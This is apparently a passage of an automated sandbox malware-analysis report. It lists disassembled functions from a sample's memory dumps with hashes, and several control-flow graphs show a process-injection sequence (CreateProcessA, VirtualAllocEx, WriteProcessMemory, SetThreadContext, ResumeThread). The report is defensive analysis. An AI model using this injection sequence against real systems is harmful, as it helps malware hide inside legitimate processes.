                                                                                                              • Snapshot File: hcaresult_4_2_190000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: q"LD$r#HS$r#HS$r#HS$S?2$S?2$S?2
                                                                                                              • API String ID: 0-2581025826
                                                                                                              • Opcode ID: b44bf1d1c913a39ea42efa28122eda1fb07a3bdf032ffe7486ce5090dda250ff
                                                                                                              • Instruction ID: 09a1bd6bd44bfe5ffdd78017753bc3be153b855da5fcd29ac9f26f6e2107ea9b
                                                                                                              • Opcode Fuzzy Hash: b44bf1d1c913a39ea42efa28122eda1fb07a3bdf032ffe7486ce5090dda250ff
                                                                                                              • Instruction Fuzzy Hash: 34713974E0520ADFCB08CFA5D4858AEFBB2FF89301B659569D026E7224D734DA42CF90
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00198410 Relevance: .3, Instructions: 280COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000004.00000002.452412779.0000000000190000.00000040.00000800.00020000.00000000.sdmp, Offset: 00190000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_4_2_190000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: c38dd0c6816adf6c0b9f07082d93c255ac196b9e075d48fd3fd0ae1d9378d564
                                                                                                              • Instruction ID: e18d5db95a0da056575762b2ef86616a84128b7d01d1ae33bd249818108fd11a
                                                                                                              • Opcode Fuzzy Hash: c38dd0c6816adf6c0b9f07082d93c255ac196b9e075d48fd3fd0ae1d9378d564
                                                                                                              • Instruction Fuzzy Hash: 68C13870E05209DFCB08DFA5E94819EBFB2FF8A300F60D46AD446AB664DB349A41CF15
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00198430 Relevance: .3, Instructions: 273COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000004.00000002.452412779.0000000000190000.00000040.00000800.00020000.00000000.sdmp, Offset: 00190000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_4_2_190000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 2f6457fd43c611f521daee45fc547b46cf0587ffe9b03eef21e35f01325b75ef
                                                                                                              • Instruction ID: 3f313cc22eee0add525278bde421af6ed1430e6be4e35b680bb1dcbbc32033fc
                                                                                                              • Opcode Fuzzy Hash: 2f6457fd43c611f521daee45fc547b46cf0587ffe9b03eef21e35f01325b75ef
                                                                                                              • Instruction Fuzzy Hash: ACB11770E05209DFCB08DFA5E94819EFFB2EF89301F60D46AD406AB664DB349A41CF15
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00190F7D Relevance: .3, Instructions: 258COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000004.00000002.452412779.0000000000190000.00000040.00000800.00020000.00000000.sdmp, Offset: 00190000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_4_2_190000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 2cdb4b8818344cc56b2fd52a2c5f9b4ec015df503d5862126beceffdfc80e6fa
                                                                                                              • Instruction ID: 362889c7efecef7b6d3d26749cde23436e73e171ee7eda16d9033e406b3ddd45
                                                                                                              • Opcode Fuzzy Hash: 2cdb4b8818344cc56b2fd52a2c5f9b4ec015df503d5862126beceffdfc80e6fa
                                                                                                              • Instruction Fuzzy Hash: AAB15575E042498FCB09CFB9C8946DEBBF2FF8A300F2580AAD415AB264D7355946CF61
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00198544 Relevance: .2, Instructions: 244COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000004.00000002.452412779.0000000000190000.00000040.00000800.00020000.00000000.sdmp, Offset: 00190000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_4_2_190000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: c0a76c5836182a12100e1519c109db66e824e0bc9c4a6174fcce162813aeda05
                                                                                                              • Instruction ID: 2328098fe9ba25dc95a775ef0c350e26994828240a461506c74915beb6c207bb
                                                                                                              • Opcode Fuzzy Hash: c0a76c5836182a12100e1519c109db66e824e0bc9c4a6174fcce162813aeda05
                                                                                                              • Instruction Fuzzy Hash: 38A11870E05209DFCB08DFA5E58819EBFB2FF8A301F60D86AD446AB664DB349941DF05
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00191019 Relevance: .2, Instructions: 190COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000004.00000002.452412779.0000000000190000.00000040.00000800.00020000.00000000.sdmp, Offset: 00190000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_4_2_190000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 8b04b3d1f3f1c586ec1e2d34c6f07e65c91b61d86fd6a12a39883aab6679727c
                                                                                                              • Instruction ID: b5af8cdefee1e5a6845c7b05482c58cb722771f7ae132ee824db461e733a75cd
                                                                                                              • Opcode Fuzzy Hash: 8b04b3d1f3f1c586ec1e2d34c6f07e65c91b61d86fd6a12a39883aab6679727c
                                                                                                              • Instruction Fuzzy Hash: B781C374E002199FDB08CFE9C984AAEBBB2AF88300F24852AD515BB364D7759945CF50
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00191020 Relevance: .2, Instructions: 189COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000004.00000002.452412779.0000000000190000.00000040.00000800.00020000.00000000.sdmp, Offset: 00190000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_4_2_190000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 3d2a0e73c63e28a4911079a72b77e9f6e8af705dc8521f9421862f56c014c78a
                                                                                                              • Instruction ID: 4c77f131307474e001ce4bcfffdc1c22d97a03d934c1b83fe90bc38cd41da02f
                                                                                                              • Opcode Fuzzy Hash: 3d2a0e73c63e28a4911079a72b77e9f6e8af705dc8521f9421862f56c014c78a
                                                                                                              • Instruction Fuzzy Hash: F381C474E002199FDB08CFEAD984AEEFBB2AF88300F24812AD515BB364D7759945CF50
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0019C868 Relevance: .2, Instructions: 165COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000004.00000002.452412779.0000000000190000.00000040.00000800.00020000.00000000.sdmp, Offset: 00190000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_4_2_190000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: d3b50be2d31b4b992905bd473987bf1c2d2f4956794be25b9a9d8df1bb7b8e6f
                                                                                                              • Instruction ID: 20cbc90a0fed4d05873452cdc2ba9af19ae8163858be3aaddb7f7e3881e160ee
                                                                                                              • Opcode Fuzzy Hash: d3b50be2d31b4b992905bd473987bf1c2d2f4956794be25b9a9d8df1bb7b8e6f
                                                                                                              • Instruction Fuzzy Hash: 65613B74E0520A9FCB08CFA5C9458AEB7B2FF89300F10D969D415BB368D7749A41CFA4
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00191781 Relevance: .2, Instructions: 150COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000004.00000002.452412779.0000000000190000.00000040.00000800.00020000.00000000.sdmp, Offset: 00190000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_4_2_190000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 7e6bf4f93542b17631d9b3e851d2497264fa0d1fb953c40e7e2db44a09841e2c
                                                                                                              • Instruction ID: a33b1fa121318b4f7631272effc02acd8eaed34c92731f57d2e05d35cade71f0
                                                                                                              • Opcode Fuzzy Hash: 7e6bf4f93542b17631d9b3e851d2497264fa0d1fb953c40e7e2db44a09841e2c
                                                                                                              • Instruction Fuzzy Hash: DC512970D0521A9FDB08CFAAD8505AEFBF2EF89300F25D06AD519A7351D7349A81CFA4
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 007648A8 Relevance: .1, Instructions: 138COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000004.00000002.452952684.0000000000760000.00000040.00000800.00020000.00000000.sdmp, Offset: 00760000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_4_2_760000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 2e0f385ad08f1565d1eee306b0b58700bf31a00ebfc562416cfad9030721637f
                                                                                                              • Instruction ID: 275ea5d60da9363672d6f07a5f1170608d7039341d85ccfd049a4dbf484849e0
                                                                                                              • Opcode Fuzzy Hash: 2e0f385ad08f1565d1eee306b0b58700bf31a00ebfc562416cfad9030721637f
                                                                                                              • Instruction Fuzzy Hash: 08519E75E052199FDF08CFEAD844AEEFBB2BF89300F14842AD919AB254DB345946CF50
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00764A40 Relevance: .1, Instructions: 137COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000004.00000002.452952684.0000000000760000.00000040.00000800.00020000.00000000.sdmp, Offset: 00760000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_4_2_760000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: df2df838a0d322ec5ba97b478940050ca1936759166187cedad97c2759ac32ef
                                                                                                              • Instruction ID: 7edf94f8c3af3132730f3f52b82ad2e45f2a6d2e571cc91b8d1142ab90bb1849
                                                                                                              • Opcode Fuzzy Hash: df2df838a0d322ec5ba97b478940050ca1936759166187cedad97c2759ac32ef
                                                                                                              • Instruction Fuzzy Hash: 8751C5B4E052199FCB04DFA9D580AAEFBF2FF88310F25C569D809A7355D7349941CB90
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00190471 Relevance: .1, Instructions: 79COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000004.00000002.452412779.0000000000190000.00000040.00000800.00020000.00000000.sdmp, Offset: 00190000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_4_2_190000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 43521a329f0176201cf232937753692da26746b8fe65acd8272a12e24eb6b9a5
                                                                                                              • Instruction ID: 67db26c5e0f564c9c5a04d2084f432af1d72fc78219bd7f1b3f75456aebf7433
                                                                                                              • Opcode Fuzzy Hash: 43521a329f0176201cf232937753692da26746b8fe65acd8272a12e24eb6b9a5
                                                                                                              • Instruction Fuzzy Hash: CB31EC71E046588FEB19CFABD85069EBBF3AFC9300F15C1AAD508A7264DB3419458F52
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00192130 Relevance: .1, Instructions: 78COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000004.00000002.452412779.0000000000190000.00000040.00000800.00020000.00000000.sdmp, Offset: 00190000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_4_2_190000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 7852d5a06a0749c8bc8feea535106c895d351d23fe7f65ecdfe75d64b99d9c40
                                                                                                              • Instruction ID: ab4b2f2ec4e005e65dcebff87f1923cf7491bcf1139db8a3b5df40a44cef9df0
                                                                                                              • Opcode Fuzzy Hash: 7852d5a06a0749c8bc8feea535106c895d351d23fe7f65ecdfe75d64b99d9c40
                                                                                                              • Instruction Fuzzy Hash: 3631F571E006189BEB18CFAAD8446DEFBF3AFC9310F14C07AD408AA264DB741A45CB50
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00750048 Relevance: 1.8, APIs: 1, Instructions: 321processCOMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              • Executed
                                                                                                              • Not Executed
                                                                                                              control_flow_graph 284 750048-7500e1 286 7500e3-7500fa 284->286 287 75012a-750152 284->287 286->287 292 7500fc-750101 286->292 290 750154-750168 287->290 291 750198-7501ee 287->291 290->291 302 75016a-75016f 290->302 300 750234-750322 CreateProcessA 291->300 301 7501f0-750204 291->301 293 750124-750127 292->293 294 750103-75010d 292->294 293->287 295 750111-750120 294->295 296 75010f 294->296 295->295 299 750122 295->299 296->295 299->293 320 750324-75032a 300->320 321 75032b-750410 300->321 301->300 309 750206-75020b 301->309 303 750171-75017b 302->303 304 750192-750195 302->304 306 75017d 303->306 307 75017f-75018e 303->307 304->291 306->307 307->307 310 750190 307->310 312 75020d-750217 309->312 313 75022e-750231 309->313 310->304 314 750219 312->314 315 75021b-75022a 312->315 313->300 314->315 315->315 317 75022c 315->317 317->313 320->321 333 750420-750424 321->333 334 750412-750416 321->334 335 750434-750438 333->335 336 750426-75042a 333->336 334->333 337 750418 334->337 339 750448-75044c 335->339 340 75043a-75043e 335->340 336->335 338 75042c 336->338 337->333 338->335 342 750482-75048d 339->342 343 75044e-750477 339->343 340->339 341 750440 340->341 341->339 346 75048e 342->346 343->342 346->346
                                                                                                              APIs
                                                                                                              • CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 0075030F
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000004.00000002.452935633.0000000000750000.00000040.00000800.00020000.00000000.sdmp, Offset: 00750000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_4_2_750000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID: CreateProcess
                                                                                                              • String ID:
                                                                                                              • API String ID: 963392458-0
                                                                                                              • Opcode ID: 03026dd4d0e6d889f86189eb6363cf07f67bdc92badd2dbe27cb6edd769cdb76
                                                                                                              • Instruction ID: 27bda6fe9aab6acafae790057f524b30dcb2302ff394936df7a99559af0a2a4a
                                                                                                              • Opcode Fuzzy Hash: 03026dd4d0e6d889f86189eb6363cf07f67bdc92badd2dbe27cb6edd769cdb76
                                                                                                              • Instruction Fuzzy Hash: 47C11571D0426D8FDB20CFA4C845BEDBBB1BF49304F0095A9D919B7250EBB49A89CF91
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0076FB58 Relevance: 1.6, APIs: 1, Instructions: 116injectionCOMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              • Executed
                                                                                                              • Not Executed
                                                                                                              control_flow_graph 348 76fb58-76fbc3 350 76fbc5-76fbd7 348->350 351 76fbda-76fc3b WriteProcessMemory 348->351 350->351 353 76fc44-76fc96 351->353 354 76fc3d-76fc43 351->354 354->353
                                                                                                              APIs
                                                                                                              • WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 0076FC2B
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000004.00000002.452952684.0000000000760000.00000040.00000800.00020000.00000000.sdmp, Offset: 00760000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_4_2_760000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID: MemoryProcessWrite
                                                                                                              • String ID:
                                                                                                              • API String ID: 3559483778-0
                                                                                                              • Opcode ID: ab71c43e5f02d1dbe9b58bb46dff947749f6ef7ad4c44830fe354593daeb31f6
                                                                                                              • Instruction ID: 655d3bf5a5fa66db5dbe5e1cf3ab671f09da177b5859367943dca8654805fca4
                                                                                                              • Opcode Fuzzy Hash: ab71c43e5f02d1dbe9b58bb46dff947749f6ef7ad4c44830fe354593daeb31f6
                                                                                                              • Instruction Fuzzy Hash: 514199B5D012589FCB00CFA9D984ADEBBF1FB49314F24942AE815B7250D738AA45CB64
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0076FCE0 Relevance: 1.6, APIs: 1, Instructions: 106COMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              • Executed
                                                                                                              • Not Executed
                                                                                                              control_flow_graph 359 76fce0-76fda2 ReadProcessMemory 362 76fda4-76fdaa 359->362 363 76fdab-76fdfd 359->363 362->363
                                                                                                              APIs
                                                                                                              • ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 0076FD92
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000004.00000002.452952684.0000000000760000.00000040.00000800.00020000.00000000.sdmp, Offset: 00760000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_4_2_760000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID: MemoryProcessRead
                                                                                                              • String ID:
                                                                                                              • API String ID: 1726664587-0
                                                                                                              • Opcode ID: 949c225a249e408a5597a5c593bfa419a31d33fe12dd81a08e3725f0c7e8ba1d
                                                                                                              • Instruction ID: 1ad428fa45002eaa99049aaf81bf3513f3d410e5dc1f7247a713c288b3c42516
                                                                                                              • Opcode Fuzzy Hash: 949c225a249e408a5597a5c593bfa419a31d33fe12dd81a08e3725f0c7e8ba1d
                                                                                                              • Instruction Fuzzy Hash: 834199B5D042589FCF00CFAAE884AEEFBB1FB49310F14942AE915B7250D739A945CF64
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0076FA08 Relevance: 1.6, APIs: 1, Instructions: 101memoryCOMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              • Executed
                                                                                                              • Not Executed
                                                                                                              control_flow_graph 368 76fa08-76fac2 VirtualAllocEx 371 76fac4-76faca 368->371 372 76facb-76fb15 368->372 371->372
                                                                                                              APIs
                                                                                                              • VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 0076FAB2
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000004.00000002.452952684.0000000000760000.00000040.00000800.00020000.00000000.sdmp, Offset: 00760000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_4_2_760000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID: AllocVirtual
                                                                                                              • String ID:
                                                                                                              • API String ID: 4275171209-0
                                                                                                              • Opcode ID: 6f10f5f05a10b5ddb107f3cf7f272e2d24d4abe1786a628358f66603becf24a9
                                                                                                              • Instruction ID: d8b0b4f2a5a0f1b7e1903787ae43a60b13be6258270ad5cdce979375cf6fc2eb
                                                                                                              • Opcode Fuzzy Hash: 6f10f5f05a10b5ddb107f3cf7f272e2d24d4abe1786a628358f66603becf24a9
                                                                                                              • Instruction Fuzzy Hash: F53185B9D042589BCF10CFA9E884A9EFBB1FB49310F10A42AE915B7310D735A945CFA4
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00197EC9 Relevance: 1.6, APIs: 1, Instructions: 97memoryCOMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              • Executed
                                                                                                              • Not Executed
                                                                                                              control_flow_graph 377 197ec9-197f87 VirtualProtect 380 197f89-197f8f 377->380 381 197f90-197fcc 377->381 380->381
                                                                                                              APIs
                                                                                                              • VirtualProtect.KERNELBASE(?,?,?,?), ref: 00197F77
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000004.00000002.452412779.0000000000190000.00000040.00000800.00020000.00000000.sdmp, Offset: 00190000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_4_2_190000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID: ProtectVirtual
                                                                                                              • String ID:
                                                                                                              • API String ID: 544645111-0
                                                                                                              • Opcode ID: 777ccca8f9772351f3ba735f2108634c162b395f52918b6884adf1204678637e
                                                                                                              • Instruction ID: b2091a38fd3ce29787c43ceccf409e67af23ecb9a5af432ea1b4ad9dfef1f94c
                                                                                                              • Opcode Fuzzy Hash: 777ccca8f9772351f3ba735f2108634c162b395f52918b6884adf1204678637e
                                                                                                              • Instruction Fuzzy Hash: 793188B5D042589FCF10CFA9E884ADEFBB0BF49310F24906AE814B7260D375AA45CF64
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0076F820 Relevance: 1.6, APIs: 1, Instructions: 94threadCOMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              • Executed
                                                                                                              • Not Executed
                                                                                                              control_flow_graph 390 76f820-76f880 392 76f897-76f8df Wow64SetThreadContext 390->392 393 76f882-76f894 390->393 395 76f8e1-76f8e7 392->395 396 76f8e8-76f934 392->396 393->392 395->396
                                                                                                              APIs
                                                                                                              • Wow64SetThreadContext.KERNEL32(?,?), ref: 0076F8CF
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000004.00000002.452952684.0000000000760000.00000040.00000800.00020000.00000000.sdmp, Offset: 00760000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_4_2_760000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID: ContextThreadWow64
                                                                                                              • String ID:
                                                                                                              • API String ID: 983334009-0
                                                                                                              • Opcode ID: bd222499f254ff469edbc9a91aa9333d20d1451147cc119f1878b79ac3844f5c
                                                                                                              • Instruction ID: 41a427cb9c0591d8b7e26ad68db4b1ad8d5896d0f324a04a46067c1e62fb0780
                                                                                                              • Opcode Fuzzy Hash: bd222499f254ff469edbc9a91aa9333d20d1451147cc119f1878b79ac3844f5c
                                                                                                              • Instruction Fuzzy Hash: 4831BBB5D012589FCB10CFA9D884AEEBBF0FF49314F14942AE815B7240D738A945CF94
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00197ED0 Relevance: 1.6, APIs: 1, Instructions: 94memoryCOMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              • Executed
                                                                                                              • Not Executed
                                                                                                              control_flow_graph 384 197ed0-197f87 VirtualProtect 386 197f89-197f8f 384->386 387 197f90-197fcc 384->387 386->387
                                                                                                              APIs
                                                                                                              • VirtualProtect.KERNELBASE(?,?,?,?), ref: 00197F77
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000004.00000002.452412779.0000000000190000.00000040.00000800.00020000.00000000.sdmp, Offset: 00190000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_4_2_190000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID: ProtectVirtual
                                                                                                              • String ID:
                                                                                                              • API String ID: 544645111-0
                                                                                                              • Opcode ID: 9073692dc22fe582f803d2a9c00f9e94448d7cf1197f14cb2a5d2ba6c4f24b9c
                                                                                                              • Instruction ID: a64c728dbf03c0484f8fec50bb6cd9f84ffbe78851f187240f5223848d78d805
                                                                                                              • Opcode Fuzzy Hash: 9073692dc22fe582f803d2a9c00f9e94448d7cf1197f14cb2a5d2ba6c4f24b9c
                                                                                                              • Instruction Fuzzy Hash: B63178B5D042589FCF10CFA9E484ADEFBB0BB59310F24942AE814B7250D375AA45CF64
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0076F700 Relevance: 1.6, APIs: 1, Instructions: 73threadCOMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              • Executed
                                                                                                              • Not Executed
                                                                                                              control_flow_graph 401 76f700-76f78e ResumeThread 404 76f797-76f7d9 401->404 405 76f790-76f796 401->405 405->404
                                                                                                              APIs
                                                                                                              • ResumeThread.KERNELBASE(?), ref: 0076F77E
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000004.00000002.452952684.0000000000760000.00000040.00000800.00020000.00000000.sdmp, Offset: 00760000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_4_2_760000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID: ResumeThread
                                                                                                              • String ID:
                                                                                                              • API String ID: 947044025-0
                                                                                                              • Opcode ID: 24502d87f8e330113f600bc33de642351b8308c623727bb7d6d290863752f6f3
                                                                                                              • Instruction ID: 5c8507dbc918629896b6b5783c37b9978b0098014f13f73154a53808433f4825
                                                                                                              • Opcode Fuzzy Hash: 24502d87f8e330113f600bc33de642351b8308c623727bb7d6d290863752f6f3
                                                                                                              • Instruction Fuzzy Hash: 7431AAB4D052589FCB10CFA9E884AAEFBB4FF49314F14942AE815B7310D739A901CF94
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0013D1D4 Relevance: .1, Instructions: 72COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000004.00000002.452347706.000000000013D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0013D000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_4_2_13d000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 55c8c93fda2aaaf50ff2d8f0c5847af71decd2728e19219421b7c658254dfc97
                                                                                                              • Instruction ID: 3649b8c5df2efd7aa2f53a29a3614bf6d2887d396bd320782299e2f5b9b9a2f2
                                                                                                              • Opcode Fuzzy Hash: 55c8c93fda2aaaf50ff2d8f0c5847af71decd2728e19219421b7c658254dfc97
                                                                                                              • Instruction Fuzzy Hash: E4212675608204EFDB15DF20F9C0B27BBA1FB88318F20C5ADE9094B246C736D846CB61
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0013D01C Relevance: .1, Instructions: 72COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000004.00000002.452347706.000000000013D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0013D000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_4_2_13d000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: d3af52c2c8834e854ba15cf540f59c5b642be99ae9be437e4fb5b5dbbe36f130
                                                                                                              • Instruction ID: ede7a9d35eacf2f6251626816058f964c76067e7829641d54fa13ca5f267ee6e
                                                                                                              • Opcode Fuzzy Hash: d3af52c2c8834e854ba15cf540f59c5b642be99ae9be437e4fb5b5dbbe36f130
                                                                                                              • Instruction Fuzzy Hash: C621F575608244DFDB18DF24F584B26BB65FB88718F20C569E9094B246C336D846CB61
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0013D006 Relevance: .1, Instructions: 63COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000004.00000002.452347706.000000000013D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0013D000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_4_2_13d000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: a442595001e92cdd92d00f64452a7ebcedeffac37f8a4de8cab37b360bb8d3d9
                                                                                                              • Instruction ID: 01be1d92d94aa90d2ec6f8917baea504b4c72f48ad518f8df781a7eec957e210
                                                                                                              • Opcode Fuzzy Hash: a442595001e92cdd92d00f64452a7ebcedeffac37f8a4de8cab37b360bb8d3d9
                                                                                                              • Instruction Fuzzy Hash: B22141755083809FCB06CF14E994715BF71EB46714F24C5DAD8458B266C33AD856CB62
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0013D1CF Relevance: .1, Instructions: 53COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000004.00000002.452347706.000000000013D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0013D000, based on PE: false
